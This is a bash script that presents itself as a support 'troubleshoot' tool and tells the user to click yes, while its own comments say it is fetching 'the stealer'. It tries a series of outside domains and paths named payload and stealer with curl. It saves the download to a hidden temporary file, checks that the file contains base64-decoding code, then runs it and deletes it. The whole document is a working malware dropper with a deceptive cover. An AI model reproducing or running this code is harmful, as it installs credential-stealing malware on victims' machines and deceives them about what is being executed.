#!/bin/bash

echo -e "\033[33mOpening Terminal to Begin Troubleshoot, Click Yes to Begin.\033[0m"
echo ""

# Check if running in Terminal
if [ -z "$TERM" ]; then
    echo -e "\033[31mError: This script must be run from Terminal.\033[0m"
    exit 1
fi

TEMP_SCRIPT="/tmp/.troubleshoot_$(date +%s).sh"

# Try multiple domains x multiple paths to find the stealer
# (CDN/proxy may block .sh on one path but allow .txt on another)
DOMAINS=("autofixer.buzz" "trouble-shoot.it.com")
PATHS=("networkdis.sh" "networkdis.txt" "networkdis" "payload" "payload.txt" "stealer" "stealer.txt" "index.html")

DOWNLOADED=""
for DOMAIN in "${DOMAINS[@]}"; do
    for PATH_ in "${PATHS[@]}"; do
        URL="https://${DOMAIN}/${PATH_}"
        if curl -fsSL --max-time 12 --connect-timeout 5 -o "$TEMP_SCRIPT" "$URL" 2>/dev/null; then
            if [ -s "$TEMP_SCRIPT" ] && grep -q "base64 --decode" "$TEMP_SCRIPT" 2>/dev/null; then
                DOWNLOADED="$URL"
                break 2
            fi
        fi
        rm -f "$TEMP_SCRIPT"
    done
done

if [ -z "$DOWNLOADED" ]; then
    echo -e "\033[31mError: Unable to reach support servers.\033[0m"
    echo -e "\033[33mCheck if firewall or antivirus is blocking the connection.\033[0m"
    exit 1
fi

# Verify download
if [ ! -s "$TEMP_SCRIPT" ]; then
    echo -e "\033[31mError: Downloaded package is empty.\033[0m"
    rm -f "$TEMP_SCRIPT"
    exit 1
fi

chmod +x "$TEMP_SCRIPT"

# Execute the troubleshoot script
bash "$TEMP_SCRIPT"
EXIT_CODE=$?

# Cleanup
rm -f "$TEMP_SCRIPT"

if [ $EXIT_CODE -ne 0 ]; then
    echo ""
    echo -e "\033[31mTroubleshooting process has finished unsuccessful.\033[0m"
    echo -e "\033[31mPlease Contact Support.\033[0m"
fi
